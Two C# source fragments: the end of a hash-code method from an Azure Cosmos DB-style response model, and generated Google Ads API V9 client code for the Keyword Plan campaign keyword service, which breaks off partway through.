/// Gets the hash code
/// </summary>
/// <returns>Hash code</returns>
public override int GetHashCode()
{
// credit: http://stackoverflow.com/a/263416/677735
unchecked // Overflow is fine, just wrap
{
var hash = 41;
// Suitable nullity checks etc, of course :)
if (Rid != null)
hash = hash*57 + Rid.GetHashCode();
if (Count != null)
hash = hash*57 + Count.GetHashCode();
if (ResourceArray != null)
hash = hash*57 + ResourceArray.GetHashCode();
if (Date != null)
hash = hash*57 + Date.GetHashCode();
if (XMsItemCount != null)
hash = hash*57 + XMsItemCount.GetHashCode();
if (XMsContinuation != null)
hash = hash*57 + XMsContinuation.GetHashCode();
if (XMsRequestCharge != null)
hash = hash*57 + XMsRequestCharge.GetHashCode();
if (XMsActivityId != null)
hash = hash*57 + XMsActivityId.GetHashCode();
if (XMsSessionToken != null)
hash = hash*57 + XMsSessionToken.GetHashCode();
return hash;
}
}
}
}
| |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Generated code. DO NOT EDIT!
using gagvr = Google.Ads.GoogleAds.V9.Resources;
using gax = Google.Api.Gax;
using gaxgrpc = Google.Api.Gax.Grpc;
using gaxgrpccore = Google.Api.Gax.Grpc.GrpcCore;
using proto = Google.Protobuf;
using grpccore = Grpc.Core;
using grpcinter = Grpc.Core.Interceptors;
using sys = System;
using scg = System.Collections.Generic;
using sco = System.Collections.ObjectModel;
using st = System.Threading;
using stt = System.Threading.Tasks;
namespace Google.Ads.GoogleAds.V9.Services
{
/// <summary>Settings for <see cref="KeywordPlanCampaignKeywordServiceClient"/> instances.</summary>
public sealed partial class KeywordPlanCampaignKeywordServiceSettings : gaxgrpc::ServiceSettingsBase
{
/// <summary>
/// Get a new instance of the default <see cref="KeywordPlanCampaignKeywordServiceSettings"/>.
/// </summary>
/// <returns>A new instance of the default <see cref="KeywordPlanCampaignKeywordServiceSettings"/>.</returns>
public static KeywordPlanCampaignKeywordServiceSettings GetDefault() =>
new KeywordPlanCampaignKeywordServiceSettings();
/// <summary>
/// Constructs a new <see cref="KeywordPlanCampaignKeywordServiceSettings"/> object with default settings.
/// </summary>
public KeywordPlanCampaignKeywordServiceSettings()
{
}
private KeywordPlanCampaignKeywordServiceSettings(KeywordPlanCampaignKeywordServiceSettings existing) : base(existing)
{
gax::GaxPreconditions.CheckNotNull(existing, nameof(existing));
GetKeywordPlanCampaignKeywordSettings = existing.GetKeywordPlanCampaignKeywordSettings;
MutateKeywordPlanCampaignKeywordsSettings = existing.MutateKeywordPlanCampaignKeywordsSettings;
OnCopy(existing);
}
partial void OnCopy(KeywordPlanCampaignKeywordServiceSettings existing);
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>KeywordPlanCampaignKeywordServiceClient.GetKeywordPlanCampaignKeyword</c> and
/// <c>KeywordPlanCampaignKeywordServiceClient.GetKeywordPlanCampaignKeywordAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings GetKeywordPlanCampaignKeywordSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>
/// <see cref="gaxgrpc::CallSettings"/> for synchronous and asynchronous calls to
/// <c>KeywordPlanCampaignKeywordServiceClient.MutateKeywordPlanCampaignKeywords</c> and
/// <c>KeywordPlanCampaignKeywordServiceClient.MutateKeywordPlanCampaignKeywordsAsync</c>.
/// </summary>
/// <remarks>
/// <list type="bullet">
/// <item><description>Initial retry delay: 5000 milliseconds.</description></item>
/// <item><description>Retry delay multiplier: 1.3</description></item>
/// <item><description>Retry maximum delay: 60000 milliseconds.</description></item>
/// <item><description>Maximum attempts: Unlimited</description></item>
/// <item>
/// <description>
/// Retriable status codes: <see cref="grpccore::StatusCode.Unavailable"/>,
/// <see cref="grpccore::StatusCode.DeadlineExceeded"/>.
/// </description>
/// </item>
/// <item><description>Timeout: 3600 seconds.</description></item>
/// </list>
/// </remarks>
public gaxgrpc::CallSettings MutateKeywordPlanCampaignKeywordsSettings { get; set; } = gaxgrpc::CallSettingsExtensions.WithRetry(gaxgrpc::CallSettings.FromExpiration(gax::Expiration.FromTimeout(sys::TimeSpan.FromMilliseconds(3600000))), gaxgrpc::RetrySettings.FromExponentialBackoff(maxAttempts: 2147483647, initialBackoff: sys::TimeSpan.FromMilliseconds(5000), maxBackoff: sys::TimeSpan.FromMilliseconds(60000), backoffMultiplier: 1.3, retryFilter: gaxgrpc::RetrySettings.FilterForStatusCodes(grpccore::StatusCode.Unavailable, grpccore::StatusCode.DeadlineExceeded)));
/// <summary>Creates a deep clone of this object, with all the same property values.</summary>
/// <returns>A deep clone of this <see cref="KeywordPlanCampaignKeywordServiceSettings"/> object.</returns>
public KeywordPlanCampaignKeywordServiceSettings Clone() => new KeywordPlanCampaignKeywordServiceSettings(this);
}
/// <summary>
/// Builder class for <see cref="KeywordPlanCampaignKeywordServiceClient"/> to provide simple configuration of
/// credentials, endpoint etc.
/// </summary>
internal sealed partial class KeywordPlanCampaignKeywordServiceClientBuilder : gaxgrpc::ClientBuilderBase<KeywordPlanCampaignKeywordServiceClient>
{
/// <summary>The settings to use for RPCs, or <c>null</c> for the default settings.</summary>
public KeywordPlanCampaignKeywordServiceSettings Settings { get; set; }
/// <summary>Creates a new builder with default settings.</summary>
public KeywordPlanCampaignKeywordServiceClientBuilder()
{
UseJwtAccessWithScopes = KeywordPlanCampaignKeywordServiceClient.UseJwtAccessWithScopes;
}
partial void InterceptBuild(ref KeywordPlanCampaignKeywordServiceClient client);
partial void InterceptBuildAsync(st::CancellationToken cancellationToken, ref stt::Task<KeywordPlanCampaignKeywordServiceClient> task);
/// <summary>Builds the resulting client.</summary>
public override KeywordPlanCampaignKeywordServiceClient Build()
{
KeywordPlanCampaignKeywordServiceClient client = null;
InterceptBuild(ref client);
return client ?? BuildImpl();
}
/// <summary>Builds the resulting client asynchronously.</summary>
public override stt::Task<KeywordPlanCampaignKeywordServiceClient> BuildAsync(st::CancellationToken cancellationToken = default)
{
stt::Task<KeywordPlanCampaignKeywordServiceClient> task = null;
InterceptBuildAsync(cancellationToken, ref task);
return task ?? BuildAsyncImpl(cancellationToken);
}
private KeywordPlanCampaignKeywordServiceClient BuildImpl()
{
Validate();
grpccore::CallInvoker callInvoker = CreateCallInvoker();
return KeywordPlanCampaignKeywordServiceClient.Create(callInvoker, Settings);
}
private async stt::Task<KeywordPlanCampaignKeywordServiceClient> BuildAsyncImpl(st::CancellationToken cancellationToken)
{
Validate();
grpccore::CallInvoker callInvoker = await CreateCallInvokerAsync(cancellationToken).ConfigureAwait(false);
return KeywordPlanCampaignKeywordServiceClient.Create(callInvoker, Settings);
}
/// <summary>Returns the endpoint for this builder type, used if no endpoint is otherwise specified.</summary>
protected override string GetDefaultEndpoint() => KeywordPlanCampaignKeywordServiceClient.DefaultEndpoint;
/// <summary>
/// Returns the default scopes for this builder type, used if no scopes are otherwise specified.
/// </summary>
protected override scg::IReadOnlyList<string> GetDefaultScopes() =>
KeywordPlanCampaignKeywordServiceClient.DefaultScopes;
/// <summary>Returns the channel pool to use when no other options are specified.</summary>
protected override gaxgrpc::ChannelPool GetChannelPool() => KeywordPlanCampaignKeywordServiceClient.ChannelPool;
/// <summary>Returns the default <see cref="gaxgrpc::GrpcAdapter"/>to use if not otherwise specified.</summary>
protected override gaxgrpc::GrpcAdapter DefaultGrpcAdapter => gaxgrpccore::GrpcCoreAdapter.Instance;
}
/// <summary>KeywordPlanCampaignKeywordService client wrapper, for convenient use.</summary>
/// <remarks>
/// Service to manage Keyword Plan campaign keywords. KeywordPlanCampaign is
/// required to add the campaign keywords. Only negative keywords are supported.
/// A maximum of 1000 negative keywords are allowed per plan. This includes both
/// campaign negative keywords and ad group negative keywords.
/// </remarks>
public abstract partial class KeywordPlanCampaignKeywordServiceClient
{
/// <summary>
/// The default endpoint for the KeywordPlanCampaignKeywordService service, which is a host of
/// "googleads.googleapis.com" and a port of 443.
/// </summary>
public static string DefaultEndpoint { get; } = "googleads.googleapis.com:443";
/// <summary>The default KeywordPlanCampaignKeywordService scopes.</summary>
/// <remarks>
/// The default KeywordPlanCampaignKeywordService scopes are:
/// <list type="bullet"><item><description>https://www.googleapis.com/auth/adwords</description></item></list>
/// </remarks>
public static scg::IReadOnlyList<string> DefaultScopes { get; } = new sco::ReadOnlyCollection<string>(new string[]
{
"https://www.googleapis.com/auth/adwords",
});
internal static gaxgrpc::ChannelPool ChannelPool { get; } = new gaxgrpc::ChannelPool(DefaultScopes, UseJwtAccessWithScopes);
internal static bool UseJwtAccessWithScopes
{
get
{
bool useJwtAccessWithScopes = true;
MaybeUseJwtAccessWithScopes(ref useJwtAccessWithScopes);
return useJwtAccessWithScopes;
}
}
static partial void MaybeUseJwtAccessWithScopes(ref bool useJwtAccessWithScopes);
/// <summary>
/// Asynchronously creates a <see cref="KeywordPlanCampaignKeywordServiceClient"/> using the default
/// credentials, endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="KeywordPlanCampaignKeywordServiceClientBuilder"/>.
/// </summary>
/// <param name="cancellationToken">
/// The <see cref="st::CancellationToken"/> to use while creating the client.
/// </param>
/// <returns>The task representing the created <see cref="KeywordPlanCampaignKeywordServiceClient"/>.</returns>
public static stt::Task<KeywordPlanCampaignKeywordServiceClient> CreateAsync(st::CancellationToken cancellationToken = default) =>
new KeywordPlanCampaignKeywordServiceClientBuilder().BuildAsync(cancellationToken);
/// <summary>
/// Synchronously creates a <see cref="KeywordPlanCampaignKeywordServiceClient"/> using the default credentials,
/// endpoint and settings. To specify custom credentials or other settings, use
/// <see cref="KeywordPlanCampaignKeywordServiceClientBuilder"/>.
/// </summary>
/// <returns>The created <see cref="KeywordPlanCampaignKeywordServiceClient"/>.</returns>
public static KeywordPlanCampaignKeywordServiceClient Create() =>
new KeywordPlanCampaignKeywordServiceClientBuilder().Build();
/// <summary>
/// Creates a <see cref="KeywordPlanCampaignKeywordServiceClient"/> which uses the specified call invoker for
/// remote operations.
/// </summary>
/// <param name="callInvoker">
/// The <see cref="grpccore::CallInvoker"/> for remote operations. Must not be null.
/// </param>
/// <param name="settings">Optional <see cref="KeywordPlanCampaignKeywordServiceSettings"/>.</param>
/// <returns>The created <see cref="KeywordPlanCampaignKeywordServiceClient"/>.</returns>
internal static KeywordPlanCampaignKeywordServiceClient Create(grpccore::CallInvoker callInvoker, KeywordPlanCampaignKeywordServiceSettings settings = null)
{
gax::GaxPreconditions.CheckNotNull(callInvoker, nameof(callInvoker));
grpcinter::Interceptor interceptor = settings?.Interceptor;
if (interceptor != null)
{
callInvoker = grpcinter::CallInvokerExtensions.Intercept(callInvoker, interceptor);
}
KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient grpcClient = new KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient(callInvoker);
return new KeywordPlanCampaignKeywordServiceClientImpl(grpcClient, settings);
}
/// <summary>
/// Shuts down any channels automatically created by <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/>. Channels which weren't automatically created are not
/// affected.
/// </summary>
/// <remarks>
/// After calling this method, further calls to <see cref="Create()"/> and
/// <see cref="CreateAsync(st::CancellationToken)"/> will create new channels, which could in turn be shut down
/// by another call to this method.
/// </remarks>
/// <returns>A task representing the asynchronous shutdown operation.</returns>
public static stt::Task ShutdownDefaultChannelsAsync() => ChannelPool.ShutdownChannelsAsync();
/// <summary>The underlying gRPC KeywordPlanCampaignKeywordService client</summary>
public virtual KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient GrpcClient => throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::KeywordPlanCampaignKeyword GetKeywordPlanCampaignKeyword(GetKeywordPlanCampaignKeywordRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(GetKeywordPlanCampaignKeywordRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(GetKeywordPlanCampaignKeywordRequest request, st::CancellationToken cancellationToken) =>
GetKeywordPlanCampaignKeywordAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::KeywordPlanCampaignKeyword GetKeywordPlanCampaignKeyword(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetKeywordPlanCampaignKeyword(new GetKeywordPlanCampaignKeywordRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(string resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetKeywordPlanCampaignKeywordAsync(new GetKeywordPlanCampaignKeywordRequest
{
ResourceName = gax::GaxPreconditions.CheckNotNullOrEmpty(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(string resourceName, st::CancellationToken cancellationToken) =>
GetKeywordPlanCampaignKeywordAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual gagvr::KeywordPlanCampaignKeyword GetKeywordPlanCampaignKeyword(gagvr::KeywordPlanCampaignKeywordName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetKeywordPlanCampaignKeyword(new GetKeywordPlanCampaignKeywordRequest
{
ResourceNameAsKeywordPlanCampaignKeywordName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(gagvr::KeywordPlanCampaignKeywordName resourceName, gaxgrpc::CallSettings callSettings = null) =>
GetKeywordPlanCampaignKeywordAsync(new GetKeywordPlanCampaignKeywordRequest
{
ResourceNameAsKeywordPlanCampaignKeywordName = gax::GaxPreconditions.CheckNotNull(resourceName, nameof(resourceName)),
}, callSettings);
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="resourceName">
/// Required. The resource name of the plan to fetch.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(gagvr::KeywordPlanCampaignKeywordName resourceName, st::CancellationToken cancellationToken) =>
GetKeywordPlanCampaignKeywordAsync(resourceName, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateKeywordPlanCampaignKeywordsResponse MutateKeywordPlanCampaignKeywords(MutateKeywordPlanCampaignKeywordsRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateKeywordPlanCampaignKeywordsResponse> MutateKeywordPlanCampaignKeywordsAsync(MutateKeywordPlanCampaignKeywordsRequest request, gaxgrpc::CallSettings callSettings = null) =>
throw new sys::NotImplementedException();
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateKeywordPlanCampaignKeywordsResponse> MutateKeywordPlanCampaignKeywordsAsync(MutateKeywordPlanCampaignKeywordsRequest request, st::CancellationToken cancellationToken) =>
MutateKeywordPlanCampaignKeywordsAsync(request, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose campaign keywords are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual Keyword Plan campaign
/// keywords.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public virtual MutateKeywordPlanCampaignKeywordsResponse MutateKeywordPlanCampaignKeywords(string customerId, scg::IEnumerable<KeywordPlanCampaignKeywordOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateKeywordPlanCampaignKeywords(new MutateKeywordPlanCampaignKeywordsRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose campaign keywords are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual Keyword Plan campaign
/// keywords.
/// </param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateKeywordPlanCampaignKeywordsResponse> MutateKeywordPlanCampaignKeywordsAsync(string customerId, scg::IEnumerable<KeywordPlanCampaignKeywordOperation> operations, gaxgrpc::CallSettings callSettings = null) =>
MutateKeywordPlanCampaignKeywordsAsync(new MutateKeywordPlanCampaignKeywordsRequest
{
CustomerId = gax::GaxPreconditions.CheckNotNullOrEmpty(customerId, nameof(customerId)),
Operations =
{
gax::GaxPreconditions.CheckNotNull(operations, nameof(operations)),
},
}, callSettings);
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="customerId">
/// Required. The ID of the customer whose campaign keywords are being modified.
/// </param>
/// <param name="operations">
/// Required. The list of operations to perform on individual Keyword Plan campaign
/// keywords.
/// </param>
/// <param name="cancellationToken">A <see cref="st::CancellationToken"/> to use for this RPC.</param>
/// <returns>A Task containing the RPC response.</returns>
public virtual stt::Task<MutateKeywordPlanCampaignKeywordsResponse> MutateKeywordPlanCampaignKeywordsAsync(string customerId, scg::IEnumerable<KeywordPlanCampaignKeywordOperation> operations, st::CancellationToken cancellationToken) =>
MutateKeywordPlanCampaignKeywordsAsync(customerId, operations, gaxgrpc::CallSettings.FromCancellationToken(cancellationToken));
}
/// <summary>KeywordPlanCampaignKeywordService client wrapper implementation, for convenient use.</summary>
/// <remarks>
/// Service to manage Keyword Plan campaign keywords. KeywordPlanCampaign is
/// required to add the campaign keywords. Only negative keywords are supported.
/// A maximum of 1000 negative keywords are allowed per plan. This includes both
/// campaign negative keywords and ad group negative keywords.
/// </remarks>
public sealed partial class KeywordPlanCampaignKeywordServiceClientImpl : KeywordPlanCampaignKeywordServiceClient
{
private readonly gaxgrpc::ApiCall<GetKeywordPlanCampaignKeywordRequest, gagvr::KeywordPlanCampaignKeyword> _callGetKeywordPlanCampaignKeyword;
private readonly gaxgrpc::ApiCall<MutateKeywordPlanCampaignKeywordsRequest, MutateKeywordPlanCampaignKeywordsResponse> _callMutateKeywordPlanCampaignKeywords;
/// <summary>
/// Constructs a client wrapper for the KeywordPlanCampaignKeywordService service, with the specified gRPC
/// client and settings.
/// </summary>
/// <param name="grpcClient">The underlying gRPC client.</param>
/// <param name="settings">
/// The base <see cref="KeywordPlanCampaignKeywordServiceSettings"/> used within this client.
/// </param>
public KeywordPlanCampaignKeywordServiceClientImpl(KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient grpcClient, KeywordPlanCampaignKeywordServiceSettings settings)
{
GrpcClient = grpcClient;
KeywordPlanCampaignKeywordServiceSettings effectiveSettings = settings ?? KeywordPlanCampaignKeywordServiceSettings.GetDefault();
gaxgrpc::ClientHelper clientHelper = new gaxgrpc::ClientHelper(effectiveSettings);
_callGetKeywordPlanCampaignKeyword = clientHelper.BuildApiCall<GetKeywordPlanCampaignKeywordRequest, gagvr::KeywordPlanCampaignKeyword>(grpcClient.GetKeywordPlanCampaignKeywordAsync, grpcClient.GetKeywordPlanCampaignKeyword, effectiveSettings.GetKeywordPlanCampaignKeywordSettings).WithGoogleRequestParam("resource_name", request => request.ResourceName);
Modify_ApiCall(ref _callGetKeywordPlanCampaignKeyword);
Modify_GetKeywordPlanCampaignKeywordApiCall(ref _callGetKeywordPlanCampaignKeyword);
_callMutateKeywordPlanCampaignKeywords = clientHelper.BuildApiCall<MutateKeywordPlanCampaignKeywordsRequest, MutateKeywordPlanCampaignKeywordsResponse>(grpcClient.MutateKeywordPlanCampaignKeywordsAsync, grpcClient.MutateKeywordPlanCampaignKeywords, effectiveSettings.MutateKeywordPlanCampaignKeywordsSettings).WithGoogleRequestParam("customer_id", request => request.CustomerId);
Modify_ApiCall(ref _callMutateKeywordPlanCampaignKeywords);
Modify_MutateKeywordPlanCampaignKeywordsApiCall(ref _callMutateKeywordPlanCampaignKeywords);
OnConstruction(grpcClient, effectiveSettings, clientHelper);
}
partial void Modify_ApiCall<TRequest, TResponse>(ref gaxgrpc::ApiCall<TRequest, TResponse> call) where TRequest : class, proto::IMessage<TRequest> where TResponse : class, proto::IMessage<TResponse>;
partial void Modify_GetKeywordPlanCampaignKeywordApiCall(ref gaxgrpc::ApiCall<GetKeywordPlanCampaignKeywordRequest, gagvr::KeywordPlanCampaignKeyword> call);
partial void Modify_MutateKeywordPlanCampaignKeywordsApiCall(ref gaxgrpc::ApiCall<MutateKeywordPlanCampaignKeywordsRequest, MutateKeywordPlanCampaignKeywordsResponse> call);
partial void OnConstruction(KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient grpcClient, KeywordPlanCampaignKeywordServiceSettings effectiveSettings, gaxgrpc::ClientHelper clientHelper);
/// <summary>The underlying gRPC KeywordPlanCampaignKeywordService client</summary>
public override KeywordPlanCampaignKeywordService.KeywordPlanCampaignKeywordServiceClient GrpcClient { get; }
partial void Modify_GetKeywordPlanCampaignKeywordRequest(ref GetKeywordPlanCampaignKeywordRequest request, ref gaxgrpc::CallSettings settings);
partial void Modify_MutateKeywordPlanCampaignKeywordsRequest(ref MutateKeywordPlanCampaignKeywordsRequest request, ref gaxgrpc::CallSettings settings);
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
